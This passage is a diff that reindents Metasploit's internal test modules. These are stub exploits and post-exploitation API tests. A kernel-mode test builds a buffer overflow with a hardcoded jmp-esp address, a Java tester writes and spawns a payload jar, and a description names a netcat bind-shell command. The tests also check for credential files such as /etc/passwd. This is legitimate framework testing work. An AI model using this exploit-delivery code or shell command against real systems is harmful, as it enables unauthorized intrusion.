ARCH_MIPSLE, + 'Payload' => + { + 'BadChars' => "\x00" + } + } + ], + + + ], + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('WaitForInput', [ false, "Wait for user input before returning from exploit", false ]), + OptInt.new('TestInteger', [ false, "Testing an integer value", nil ]) + ]) + end + + + def autofilter + false + end + + def check + return Exploit::CheckCode::Vulnerable + end + + def exploit + # Show disassembled payload for context encoder test + if target.name =~ /context encoder/ + #puts Rex::Assembly::Nasm.disassemble(payload.encoded[0,40]) + #FIXME: do this with metasm for MIPS (import new metasm version which fixes current bug!) + end + + connect + + print_status("Sending #{payload.encoded.length} byte payload...[#{datastore['TestInteger']}]") + + sock.put(payload.encoded) + + if (datastore['WaitForInput']) + puts "Type something..." + gets + end + + handler + end end diff --git a/test/modules/exploits/test/java_tester.rb b/test/modules/exploits/test/java_tester.rb index b26a7ec9203c..464e3e938e11 100644 --- a/test/modules/exploits/test/java_tester.rb +++ b/test/modules/exploits/test/java_tester.rb @@ -13,46 +13,46 @@ require 'rex' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking - - def initialize( info = {} ) - super( update_info( info, - 'Name' => 'Exec', - 'Description' => %q{ }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt' ], - 'Version' => '$Revision$', - 'References' => [ ], - 'Platform' => [ 'java', 'linux' ], - 'Arch' => ARCH_JAVA, - 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, - 'Targets' => - [ - [ 'Generic (Java Payload)', { - 'Arch' => ARCH_JAVA, - 'Platform' => 'java' - } ], - [ 'Linux', { - 'Arch' => ARCH_X86, - 'Platform' => 'linux' - } ], - ], - 'DefaultTarget' => 0 - )) - - end - - def exploit - # Equivalent to payload.encoded - @jar_data = payload.encoded_jar.pack - - File.open("payload.jar", "wb") do |fd| - fd.write(@jar_data) - end - - pid = Process.spawn("java -jar payload.jar &") - Process.detach pid - end + Rank = ManualRanking + + def initialize( info = {} ) + super( update_info( info, + 'Name' => 'Exec', + 'Description' => %q{ }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt' ], + 'Version' => '$Revision$', + 'References' => [ ], + 'Platform' => [ 'java', 'linux' ], + 'Arch' => ARCH_JAVA, + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + } ], + [ 'Linux', { + 'Arch' => ARCH_X86, + 'Platform' => 'linux' + } ], + ], + 'DefaultTarget' => 0 + )) + + end + + def exploit + # Equivalent to payload.encoded + @jar_data = payload.encoded_jar.pack + + File.open("payload.jar", "wb") do |fd| + fd.write(@jar_data) + end + + pid = Process.spawn("java -jar payload.jar &") + Process.detach pid + end end diff --git a/test/modules/exploits/test/kernel.rb b/test/modules/exploits/test/kernel.rb index edb0aa43dd5f..70b25dfd8c7b 100644 --- a/test/modules/exploits/test/kernel.rb +++ b/test/modules/exploits/test/kernel.rb @@ -15,74 +15,74 @@ # This is a test exploit for testing kernel-mode payloads. # class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking + Rank = ManualRanking - include Msf::Exploit::Remote::Udp - include Msf::Exploit::KernelMode + include Msf::Exploit::Remote::Udp + include Msf::Exploit::KernelMode - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Internal Kernel-mode Test Exploit', - 'Description' => - "This module tests the exploitation of a kernel-mode test service.", - 'Author' => 'skape', - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'Arch' => 'x86', - 'Payload' => - { - 'Space' => 1000, - 'MaxNops' => 0, - 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500 - 'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500 - }, - 'Targets' => - [ - [ - 'Windows XP SP2', - { - 'Ret' => 0x80502d7f, # jmp esp - 'Platform' => 'win', - 'Payload' => - { - 'ExtendedOptions' => - { - 'Stager' => 'sud_syscall_hook', - 'Recovery' => 'spin' - } - } - } - ], - ], - 'DefaultTarget' => 0)) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Internal Kernel-mode Test Exploit', + 'Description' => + "This module tests the exploitation of a kernel-mode test service.", + 'Author' => 'skape', + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'Arch' => 'x86', + 'Payload' => + { + 'Space' => 1000, + 'MaxNops' => 0, + 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500 + 'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500 + }, + 'Targets' => + [ + [ + 'Windows XP SP2', + { + 'Ret' => 0x80502d7f, # jmp esp + 'Platform' => 'win', + 'Payload' => + { + 'ExtendedOptions' => + { + 'Stager' => 'sud_syscall_hook', + 'Recovery' => 'spin' + } + } + } + ], + ], + 'DefaultTarget' => 0)) + end - def autofilter - false - end + def autofilter + false + end - def check - return Exploit::CheckCode::Vulnerable - end + def check + return Exploit::CheckCode::Vulnerable + end - def exploit - connect_udp + def exploit + connect_udp - print_status("Sending #{payload.encoded.length} byte payload...") + print_status("Sending #{payload.encoded.length} byte payload...") - buf = - rand_text_alphanumeric(260) + - "\xbe\x7f\x00\x00" + - rand_text_alphanumeric(28) + - [target.ret].pack('V') + - rand_text_alphanumeric(8) + - payload.encoded + buf = + rand_text_alphanumeric(260) + + "\xbe\x7f\x00\x00" + + rand_text_alphanumeric(28) + + [target.ret].pack('V') + + rand_text_alphanumeric(8) + + payload.encoded - udp_sock.put(buf) + udp_sock.put(buf) - select(nil,nil,nil,2) + select(nil,nil,nil,2) - disconnect_udp - end + disconnect_udp + end end diff --git a/test/modules/exploits/test/shell.rb b/test/modules/exploits/test/shell.rb index acad76b5259c..8cd284aa41d3 100644 --- a/test/modules/exploits/test/shell.rb +++ b/test/modules/exploits/test/shell.rb @@ -12,49 +12,49 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking - - include Msf::Exploit::Remote::Tcp - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Command Test', - 'Description' => %q{ - This module tests cmd payloads by targeting (for example) a server - like: nc -l -p 31337 -e /bin/sh - }, - 'Author' => 'egypt', - 'Version' => '$Revision$', - 'References' => [ ], - 'DefaultOptions' => { }, - 'Payload' => - { - }, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Targets' => - [ - [ 'Automatic Targeting', { } ], - ], - 'DefaultTarget' => 0 - )) - - register_options( - [ - Opt::RPORT(31337), - ], self.class) - end - - def autofilter - false - end - - def exploit - connect - - sock.put(payload.encoded + "\n") - - handler - end + Rank = ManualRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Command Test', + 'Description' => %q{ + This module tests cmd payloads by targeting (for example) a server + like: nc -l -p 31337 -e /bin/sh + }, + 'Author' => 'egypt', + 'Version' => '$Revision$', + 'References' => [ ], + 'DefaultOptions' => { }, + 'Payload' => + { + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + [ 'Automatic Targeting', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(31337), + ], self.class) + end + + def autofilter + false + end + + def exploit + connect + + sock.put(payload.encoded + "\n") + + handler + end end diff --git a/test/modules/post/test/file.rb b/test/modules/post/test/file.rb index d3937cda6932..f5b2061ea166 100644 --- a/test/modules/post/test/file.rb +++ b/test/modules/post/test/file.rb @@ -8,162 +8,162 @@ class Metasploit4 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Common - include Msf::Post::File - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Testing Remote File Manipulation', - 'Description' => %q{ This module will test Post::File API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt'], - 'Platform' => [ 'windows', 'linux', 'java' ], - 'SessionTypes' => [ 'meterpreter', 'shell' ] - )) - end - - # - # Change directory into a place that we have write access. - # - # The +cleanup+ method will change it back - # - def setup - @old_pwd = pwd - tmp = (directory?("/tmp")) ? "/tmp" : "%TMP%" - vprint_status("Setup: changing working directory to #{tmp}") - cd(tmp) - - super - end - - def test_file - it "should test for file existence" do - ret = false - [ - "c:\\boot.ini", - "c:\\pagefile.sys", - "/etc/passwd", - "/etc/master.passwd" - ].each { |path| - ret = true if file?(path) - } - - ret - end - - it "should test for directory existence" do - ret = false - [ - "c:\\", - "/etc/", - "/tmp" - ].each { |path| - ret = true if directory?(path) - } - - ret - end - - it "should create text files" do - write_file("pwned", "foo") - - file?("pwned") - end - - it "should read the text we just wrote" do - f = read_file("pwned") - ret = ("foo" == f) - unless ret - print_error("Didn't read what we wrote, actual file on target: #{f}") - end - - ret - end - - it "should append text files" do - ret = true - append_file("pwned", "bar") - - ret &&= read_file("pwned") == "foobar" - append_file("pwned", "baz") - final_contents = read_file("pwned") - ret &&= final_contents == "foobarbaz" - unless ret - print_error("Didn't read what we wrote, actual file on target: #{final_contents}") - end - - ret - end - - it "should delete text files" do - file_rm("pwned") - - not file_exist?("pwned") - end - - it "should move files" do - # Make sure we don't have leftovers from a previous run - file_rm("meterpreter-test") rescue nil - file_rm("meterpreter-test-moved") rescue nil - - # touch a new file - write_file("meterpreter-test", "") - - rename_file("meterpreter-test", "meterpreter-test-moved") - res &&= exist?("meterpreter-test-moved") - res &&= !exist?("meterpreter-test") - - # clean up - file_rm("meterpreter-test") rescue nil - file_rm("meterpreter-test-moved") rescue nil - end - - end - - def test_binary_files - - #binary_data = ::File.read("/bin/ls") - binary_data = ::File.read("/bin/echo") - #binary_data = "\xff\x00\xff\xfe\xff\`$(echo blha)\`" - it "should write binary data" do - vprint_status "Writing #{binary_data.length} bytes" - t = Time.now - write_file("pwned", binary_data) - vprint_status("Finished in #{Time.now - t}") - - file_exist?("pwned") - end - - it "should read the binary data we just wrote" do - bin = read_file("pwned") - vprint_status "Read #{bin.length} bytes" - - bin == binary_data - end - - it "should delete binary files" do - file_rm("pwned") - - not file_exist?("pwned") - end - - it "should append binary data" do - write_file("pwned", "\xde\xad") - append_file("pwned", "\xbe\xef") - bin = read_file("pwned") - file_rm("pwned") - - bin == "\xde\xad\xbe\xef" - end - - end + include Msf::ModuleTest::PostTest + include Msf::Post::Common + include Msf::Post::File + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Testing Remote File Manipulation', + 'Description' => %q{ This module will test Post::File API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'windows', 'linux', 'java' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + end + + # + # Change directory into a place that we have write access. + # + # The +cleanup+ method will change it back + # + def setup + @old_pwd = pwd + tmp = (directory?("/tmp")) ? "/tmp" : "%TMP%" + vprint_status("Setup: changing working directory to #{tmp}") + cd(tmp) + + super + end + + def test_file + it "should test for file existence" do + ret = false + [ + "c:\\boot.ini", + "c:\\pagefile.sys", + "/etc/passwd", + "/etc/master.passwd" + ].each { |path| + ret = true if file?(path) + } + + ret + end + + it "should test for directory existence" do + ret = false + [ + "c:\\", + "/etc/", + "/tmp" + ].each { |path| + ret = true if directory?(path) + } + + ret + end + + it "should create text files" do + write_file("pwned", "foo") + + file?("pwned") + end + + it "should read the text we just wrote" do + f = read_file("pwned") + ret = ("foo" == f) + unless ret + print_error("Didn't read what we wrote, actual file on target: #{f}") + end + + ret + end + + it "should append text files" do + ret = true + append_file("pwned", "bar") + + ret &&= read_file("pwned") == "foobar" + append_file("pwned", "baz") + final_contents = read_file("pwned") + ret &&= final_contents == "foobarbaz" + unless ret + print_error("Didn't read what we wrote, actual file on target: #{final_contents}") + end + + ret + end + + it "should delete text files" do + file_rm("pwned") + + not file_exist?("pwned") + end + + it "should move files" do + # Make sure we don't have leftovers from a previous run + file_rm("meterpreter-test") rescue nil + file_rm("meterpreter-test-moved") rescue nil + + # touch a new file + write_file("meterpreter-test", "") + + rename_file("meterpreter-test", "meterpreter-test-moved") + res &&= exist?("meterpreter-test-moved") + res &&= !exist?("meterpreter-test") + + # clean up + file_rm("meterpreter-test") rescue nil + file_rm("meterpreter-test-moved") rescue nil + end + + end + + def test_binary_files + + #binary_data = ::File.read("/bin/ls") + binary_data = ::File.read("/bin/echo") + #binary_data = "\xff\x00\xff\xfe\xff\`$(echo blha)\`" + it "should write binary data" do + vprint_status "Writing #{binary_data.length} bytes" + t = Time.now + write_file("pwned", binary_data) + vprint_status("Finished in #{Time.now - t}") + + file_exist?("pwned") + end + + it "should read the binary data we just wrote" do + bin = read_file("pwned") + vprint_status "Read #{bin.length} bytes" + + bin == binary_data + end + + it "should delete binary files" do + file_rm("pwned") + + not file_exist?("pwned") + end + + it "should append binary data" do + write_file("pwned", "\xde\xad") + append_file("pwned", "\xbe\xef") + bin = read_file("pwned") + file_rm("pwned") + + bin == "\xde\xad\xbe\xef" + end + + end - def cleanup - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - cd(@old_pwd) - super - end + def cleanup + vprint_status("Cleanup: changing working directory back to #{@old_pwd}") + cd(@old_pwd) + super + end end diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb index b43b8ea8d9fd..d29ef6f22368 100644 --- a/test/modules/post/test/meterpreter.rb +++ b/test/modules/post/test/meterpreter.rb @@ -7,336 +7,336 @@ class Metasploit4 < Msf::Post - include Msf::ModuleTest::PostTest - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Testing Meterpreter Stuff', - 'Description' => %q{ This module will test meterpreter API methods }, - 'License' => MSF_LICENSE, - 'Author' => [ 'egypt'], - 'Platform' => [ 'windows', 'linux', 'java' ], - 'SessionTypes' => [ 'meterpreter' ] - )) - - end - - # - # Change directory into a place that we have write access. - # - # The +cleanup+ method will change it back. This method is an implementation - # of post/test/file.rb's method of the same name, but without the Post::File - # dependency. - # - def setup - @old_pwd = session.fs.dir.getwd - stat = session.fs.file.stat("/tmp") rescue nil - if (stat and stat.directory?) - tmp = "/tmp" - else - tmp = session.fs.file.expand_path("%TMP%") - end - vprint_status("Setup: changing working directory to #{tmp}") - session.fs.dir.chdir(tmp) - - super - end - - - def test_sys_process - vprint_status("Starting process tests") - pid = nil - - if session.commands.include? "stdapi_sys_process_getpid" - it "should return its own process id" do - pid = session.sys.process.getpid - vprint_status("Pid: #{pid}") - true - end - else - print_status("Session doesn't implement getpid, skipping test") - end - - it "should return a list of processes" do - ret = true - list = session.sys.process.get_processes - ret &&= (list && list.length > 0) - if session.commands.include? "stdapi_sys_process_getpid" - pid ||= session.sys.process.getpid - process = list.find{ |p| p['pid'] == pid } - vprint_status("PID info: #{process.inspect}") - ret &&= !(process.nil?) - else - vprint_status("Session doesn't implement getpid, skipping sanity check") - end - - ret - end - - end - - def test_sys_config - vprint_status("Starting system config tests") - - it "should return a user id" do - uid = session.sys.config.getuid - true - end - - it "should return a sysinfo Hash" do - sysinfo = session.sys.config.sysinfo - true - end - end - - def test_net_config - unless (session.commands.include? "stdapi_net_config_get_interfaces") - vprint_status("This meterpreter does not implement get_interfaces, skipping tests") - return - end - - vprint_status("Starting networking tests") - - it "should return network interfaces" do - ifaces = session.net.config.get_interfaces - res = !!(ifaces and ifaces.length > 0) - - res - end - it "should have an interface that matches session_host" do - ifaces = session.net.config.get_interfaces - res = !!(ifaces and ifaces.length > 0) - - res &&= !! ifaces.find { |iface| - iface.addrs.find { |addr| - addr == session.session_host - } - } - - res - end - - it "should return network routes" do - routes = session.net.config.get_routes - - routes and routes.length > 0 - end - - end - - def test_fs - vprint_status("Starting filesystem tests") - - it "should return the proper directory separator" do - sysinfo = session.sys.config.sysinfo - if sysinfo["OS"] =~ /windows/i - sep = session.fs.file.separator - res = (sep == "\\") - else - sep = session.fs.file.separator - res = (sep == "/") - end - - res - end - - it "should return the current working directory" do - wd = session.fs.dir.pwd - vprint_status("CWD: #{wd}") - - true - end - - it "should list files in the current directory" do - session.fs.dir.entries - end - - it "should stat a directory" do - dir = session.fs.dir.pwd - vprint_status("Current directory: #{dir.inspect}") - s = session.fs.file.stat(dir) - vprint_status("Stat of current directory: #{s.inspect}") - - s.directory? - end - - it "should create and remove a dir" do - res = create_directory("meterpreter-test") - if (res) - session.fs.dir.rmdir("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") - vprint_status("Directory removed successfully") - end - - res - end - - it "should change directories" do - res = create_directory("meterpreter-test") - - old_wd = session.fs.dir.pwd - vprint_status("Old CWD: #{old_wd}") - - if res - session.fs.dir.chdir("meterpreter-test") - new_wd = session.fs.dir.pwd - vprint_status("New CWD: #{new_wd}") - res &&= (new_wd =~ /meterpreter-test$/) - - if res - session.fs.dir.chdir("..") - wd = session.fs.dir.pwd - vprint_status("Back to old CWD: #{wd}") - end - end - session.fs.dir.rmdir("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") - vprint_status("Directory removed successfully") - - res - end - - it "should create and remove files" do - res = true - res &&= session.fs.file.open("meterpreter-test", "wb") { |fd| - fd.write("test") - } - - vprint_status("Wrote to meterpreter-test, checking contents") - res &&= session.fs.file.open("meterpreter-test", "rb") { |fd| - contents = fd.read - vprint_status("Wrote #{contents}") - (contents == "test") - } - - session.fs.file.rm("meterpreter-test") - res &&= !session.fs.dir.entries.include?("meterpreter-test") - - res - end - - it "should upload a file" do - res = true - remote = "HACKING.remote.txt" - local = "HACKING" - vprint_status("uploading") - session.fs.file.upload_file(remote, local) - vprint_status("done") - res &&= session.fs.file.exists?(remote) - vprint_status("remote file exists? #{res.inspect}") - - if res - fd = session.fs.file.new(remote, "rb") - uploaded_contents = fd.read - until (fd.eof?) - uploaded_contents << fd.read - end - fd.close - original_contents = ::File.read(local) - - res &&= !!(uploaded_contents == original_contents) - end - - session.fs.file.rm(remote) - res - end - if session.commands.include?("stdapi_fs_file_move") - it "should move files" do - res = true - - # Make sure we don't have leftovers from a previous run - session.fs.file.rm("meterpreter-test") rescue nil - session.fs.file.rm("meterpreter-test-moved") rescue nil - - # touch a new file - fd = session.fs.file.open("meterpreter-test", "wb") - fd.close - - session.fs.file.mv("meterpreter-test", "meterpreter-test-moved") - entries = session.fs.dir.entries - res &&= entries.include?("meterpreter-test-moved") - res &&= !entries.include?("meterpreter-test") - - # clean up - session.fs.file.rm("meterpreter-test") rescue nil - session.fs.file.rm("meterpreter-test-moved") rescue nil - - res - end - end - - it "should do md5 and sha1 of files" do - res = true - remote = "HACKING.remote.txt" - local = "HACKING" - vprint_status("uploading") - session.fs.file.upload_file(remote, local) - vprint_status("done") - res &&= session.fs.file.exists?(remote) - vprint_status("remote file exists? #{res.inspect}") - - if res - remote_md5 = session.fs.file.md5(remote) - local_md5 = Digest::MD5.digest(::File.read(local)) - remote_sha = session.fs.file.sha1(remote) - local_sha = Digest::SHA1.digest(::File.read(local)) - vprint_status("remote md5: #{Rex::Text.to_hex(remote_md5,'')}") - vprint_status("local md5 : #{Rex::Text.to_hex(local_md5,'')}") - vprint_status("remote sha: #{Rex::Text.to_hex(remote_sha,'')}") - vprint_status("local sha : #{Rex::Text.to_hex(local_sha,'')}") - res &&= (remote_md5 == local_md5) - end - - session.fs.file.rm(remote) - res - end - - end + include Msf::ModuleTest::PostTest + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Testing Meterpreter Stuff', + 'Description' => %q{ This module will test meterpreter API methods }, + 'License' => MSF_LICENSE, + 'Author' => [ 'egypt'], + 'Platform' => [ 'windows', 'linux', 'java' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + end + + # + # Change directory into a place that we have write access. + # + # The +cleanup+ method will change it back. This method is an implementation + # of post/test/file.rb's method of the same name, but without the Post::File + # dependency. + # + def setup + @old_pwd = session.fs.dir.getwd + stat = session.fs.file.stat("/tmp") rescue nil + if (stat and stat.directory?) + tmp = "/tmp" + else + tmp = session.fs.file.expand_path("%TMP%") + end + vprint_status("Setup: changing working directory to #{tmp}") + session.fs.dir.chdir(tmp) + + super + end + + + def test_sys_process + vprint_status("Starting process tests") + pid = nil + + if session.commands.include? "stdapi_sys_process_getpid" + it "should return its own process id" do + pid = session.sys.process.getpid + vprint_status("Pid: #{pid}") + true + end + else + print_status("Session doesn't implement getpid, skipping test") + end + + it "should return a list of processes" do + ret = true + list = session.sys.process.get_processes + ret &&= (list && list.length > 0) + if session.commands.include? "stdapi_sys_process_getpid" + pid ||= session.sys.process.getpid + process = list.find{ |p| p['pid'] == pid } + vprint_status("PID info: #{process.inspect}") + ret &&= !(process.nil?) + else + vprint_status("Session doesn't implement getpid, skipping sanity check") + end + + ret + end + + end + + def test_sys_config + vprint_status("Starting system config tests") + + it "should return a user id" do + uid = session.sys.config.getuid + true + end + + it "should return a sysinfo Hash" do + sysinfo = session.sys.config.sysinfo + true + end + end + + def test_net_config + unless (session.commands.include? "stdapi_net_config_get_interfaces") + vprint_status("This meterpreter does not implement get_interfaces, skipping tests") + return + end + + vprint_status("Starting networking tests") + + it "should return network interfaces" do + ifaces = session.net.config.get_interfaces + res = !!(ifaces and ifaces.length > 0) + + res + end + it "should have an interface that matches session_host" do + ifaces = session.net.config.get_interfaces + res = !!(ifaces and ifaces.length > 0) + + res &&= !! ifaces.find { |iface| + iface.addrs.find { |addr| + addr == session.session_host + } + } + + res + end + + it "should return network routes" do + routes = session.net.config.get_routes + + routes and routes.length > 0 + end + + end + + def test_fs + vprint_status("Starting filesystem tests") + + it "should return the proper directory separator" do + sysinfo = session.sys.config.sysinfo + if sysinfo["OS"] =~ /windows/i + sep = session.fs.file.separator + res = (sep == "\\") + else + sep = session.fs.file.separator + res = (sep == "/") + end + + res + end + + it "should return the current working directory" do + wd = session.fs.dir.pwd + vprint_status("CWD: #{wd}") + + true + end + + it "should list files in the current directory" do + session.fs.dir.entries + end + + it "should stat a directory" do + dir = session.fs.dir.pwd + vprint_status("Current directory: #{dir.inspect}") + s = session.fs.file.stat(dir) + vprint_status("Stat of current directory: #{s.inspect}") + + s.directory? + end + + it "should create and remove a dir" do + res = create_directory("meterpreter-test") + if (res) + session.fs.dir.rmdir("meterpreter-test") + res &&= !session.fs.dir.entries.include?("meterpreter-test") + vprint_status("Directory removed successfully") + end + + res + end + + it "should change directories" do + res = create_directory("meterpreter-test") + + old_wd = session.fs.dir.pwd + vprint_status("Old CWD: #{old_wd}") + + if res + session.fs.dir.chdir("meterpreter-test") + new_wd = session.fs.dir.pwd + vprint_status("New CWD: #{new_wd}") + res &&= (new_wd =~ /meterpreter-test$/) + + if res + session.fs.dir.chdir("..") + wd = session.fs.dir.pwd + vprint_status("Back to old CWD: #{wd}") + end + end + session.fs.dir.rmdir("meterpreter-test") + res &&= !session.fs.dir.entries.include?("meterpreter-test") + vprint_status("Directory removed successfully") + + res + end + + it "should create and remove files" do + res = true + res &&= session.fs.file.open("meterpreter-test", "wb") { |fd| + fd.write("test") + } + + vprint_status("Wrote to meterpreter-test, checking contents") + res &&= session.fs.file.open("meterpreter-test", "rb") { |fd| + contents = fd.read + vprint_status("Wrote #{contents}") + (contents == "test") + } + + session.fs.file.rm("meterpreter-test") + res &&= !session.fs.dir.entries.include?("meterpreter-test") + + res + end + + it "should upload a file" do + res = true + remote = "HACKING.remote.txt" + local = "HACKING" + vprint_status("uploading") + session.fs.file.upload_file(remote, local) + vprint_status("done") + res &&= session.fs.file.exists?(remote) + vprint_status("remote file exists? #{res.inspect}") + + if res + fd = session.fs.file.new(remote, "rb") + uploaded_contents = fd.read + until (fd.eof?) + uploaded_contents << fd.read + end + fd.close + original_contents = ::File.read(local) + + res &&= !!(uploaded_contents == original_contents) + end + + session.fs.file.rm(remote) + res + end + if session.commands.include?("stdapi_fs_file_move") + it "should move files" do + res = true + + # Make sure we don't have leftovers from a previous run + session.fs.file.rm("meterpreter-test") rescue nil + session.fs.file.rm("meterpreter-test-moved") rescue nil + + # touch a new file + fd = session.fs.file.open("meterpreter-test", "wb") + fd.close + + session.fs.file.mv("meterpreter-test", "meterpreter-test-moved") + entries = session.fs.dir.entries + res &&= entries.include?("meterpreter-test-moved") + res &&= !entries.include?("meterpreter-test") + + # clean up + session.fs.file.rm("meterpreter-test") rescue nil + session.fs.file.rm("meterpreter-test-moved") rescue nil + + res + end + end + + it "should do md5 and sha1 of files" do + res = true + remote = "HACKING.remote.txt" + local = "HACKING" + vprint_status("uploading") + session.fs.file.upload_file(remote, local) + vprint_status("done") + res &&= session.fs.file.exists?(remote) + vprint_status("remote file exists? #{res.inspect}") + + if res + remote_md5 = session.fs.file.md5(remote) + local_md5 = Digest::MD5.digest(::File.read(local)) + remote_sha = session.fs.file.sha1(remote) + local_sha = Digest::SHA1.digest(::File.read(local)) + vprint_status("remote md5: #{Rex::Text.to_hex(remote_md5,'')}") + vprint_status("local md5 : #{Rex::Text.to_hex(local_md5,'')}") + vprint_status("remote sha: #{Rex::Text.to_hex(remote_sha,'')}") + vprint_status("local sha : #{Rex::Text.to_hex(local_sha,'')}") + res &&= (remote_md5 == local_md5) + end + + session.fs.file.rm(remote) + res + end + + end =begin - # Sniffer currently crashes on any OS that requires driver signing, - # i.e. everything vista and newer - # - # Disable loading it for now to make it through the rest of the tests. - # - def test_sniffer - begin - session.core.use "sniffer" - rescue - # Not all meterpreters have a sniffer extension, don't count it - # against them. - return - end - - it "should list interfaces for sniffing" do - session.sniffer.interfaces.kind_of? Array - end - - # XXX: how do we test this more thoroughly in a generic way? - end + # Sniffer currently crashes on any OS that requires driver signing, + # i.e. everything vista and newer + # + # Disable loading it for now to make it through the rest of the tests. + # + def test_sniffer + begin + session.core.use "sniffer" + rescue + # Not all meterpreters have a sniffer extension, don't count it + # against them. + return + end + + it "should list interfaces for sniffing" do + session.sniffer.interfaces.kind_of? Array + end + + # XXX: how do we test this more thoroughly in a generic way? + end =end - def cleanup - vprint_status("Cleanup: changing working directory back to #{@old_pwd}") - session.fs.dir.chdir(@old_pwd) - super - end + def cleanup + vprint_status("Cleanup: changing working directory back to #{@old_pwd}") + session.fs.dir.chdir(@old_pwd) + super + end protected - def create_directory(name) - res = true + def create_directory(name) + res = true - session.fs.dir.mkdir(name) - entries = session.fs.dir.entries - res &&= entries.include?(name) - res &&= session.fs.file.stat(name).directory? - if res - vprint_status("Directory created successfully") - end + session.fs.dir.mkdir(name) + entries = session.fs.dir.entries + res &&= entries.include?(name) + res &&= session.fs.file.stat(name).directory? + if res + vprint_status("Directory created successfully") + end - res - end + res + end end diff --git a/test/modules/post/test/railgun_reverse_lookups.rb b/test/modules/post/test/railgun_reverse_lookups.rb index df3956708913..e829b1e432a5 100644 --- a/test/modules/post/test/railgun_reverse_lookups.rb +++ b/test/modules/post/test/railgun_reverse_lookups.rb @@ -15,83 +15,83 @@ class Metasploit3 < Msf::Post - include Msf::ModuleTest::PostTest - include Msf::Post::Windows::Railgun - - def initialize(info={}) - super( update_info( info, - 'Name' => 'railgun_testing', - 'Description' => %q{ This module will test railgun code used in post modules}, - 'License' => MSF_LICENSE, - 'Author' => [ 'kernelsmith'], - 'Platform' => [ 'windows' ] - )) - - register_options( - [ - OptInt.new("ERR_CODE", [ false, "Error code to reverse lookup" ]), - OptInt.new("WIN_CONST", [ false, "Windows constant to reverse lookup" ]), - OptRegexp.new("WCREGEX", [ false, "Regexp to apply to constant rev lookup" ]), - OptRegexp.new("ECREGEX", [ false, "Regexp to apply to error code lookup" ]), - ], self.class) - - end - - def test_static - - it "should return a constant name given a const and a filter" do - ret = true - results = select_const_names(4, /^SERVICE/) - - ret &&= !!(results.kind_of? Array) - # All of the returned values should match the filter and have the same value - results.each { |const| - ret &&= !!(const =~ /^SERVICE/) - ret &&= !!(session.railgun.constant_manager.parse(const) == 4) - } - - # Should include things that match the filter and the value - ret &&= !!(results.include? "SERVICE_RUNNING") - # Should NOT include things that match the value but not the filter - ret &&= !!(not results.include? "CLONE_FLAG_ENTITY") - - ret - end - - it "should return an error string given an error code" do - ret = true - results = lookup_error(0x420, /^ERROR_SERVICE/) - ret &&= !!(results.kind_of? Array) - ret &&= !!(results.length == 1) - - ret - end - - end - - def test_datastore - - if (datastore["WIN_CONST"]) - it "should look up arbitrary constants" do - ret = true - results = select_const_names(datastore['WIN_CONST'], datastore['WCREGEX']) - #vprint_status("RESULTS: #{results.class} #{results.pretty_inspect}") - - ret - end - end - - if (datastore["ERR_CODE"]) - it "should look up arbitrary error codes" do - ret = true - results = lookup_error(datastore['ERR_CODE'], datastore['ECREGEX']) - #vprint_status("RESULTS: #{results.class} #{results.inspect}") - - ret - end - end - - end + include Msf::ModuleTest::PostTest + include Msf::Post::Windows::Railgun + + def initialize(info={}) + super( update_info( info, + 'Name' => 'railgun_testing', + 'Description' => %q{ This module will test railgun code used in post modules}, + 'License' => MSF_LICENSE, + 'Author' => [ 'kernelsmith'], + 'Platform' => [ 'windows' ] + )) + + register_options( + [ + OptInt.new("ERR_CODE", [ false, "Error code to reverse lookup" ]), + OptInt.new("WIN_CONST", [ false, "Windows constant to reverse lookup" ]), + OptRegexp.new("WCREGEX", [ false, "Regexp to apply to constant rev lookup" ]), + OptRegexp.new("ECREGEX", [ false, "Regexp to apply to error code lookup" ]), + ], self.class) + + end + + def test_static + + it "should return a constant name given a const and a filter" do + ret = true + results = select_const_names(4, /^SERVICE/) + + ret &&= !!(results.kind_of? Array) + # All of the returned values should match the filter and have the same value + results.each { |const| + ret &&= !!(const =~ /^SERVICE/) + ret &&= !!(session.railgun.constant_manager.parse(const) == 4) + } + + # Should include things that match the filter and the value + ret &&= !!(results.include? "SERVICE_RUNNING") + # Should NOT include things that match the value but not the filter + ret &&= !!(not results.include? "CLONE_FLAG_ENTITY") + + ret + end + + it "should return an error string given an error code" do + ret = true + results = lookup_error(0x420, /^ERROR_SERVICE/) + 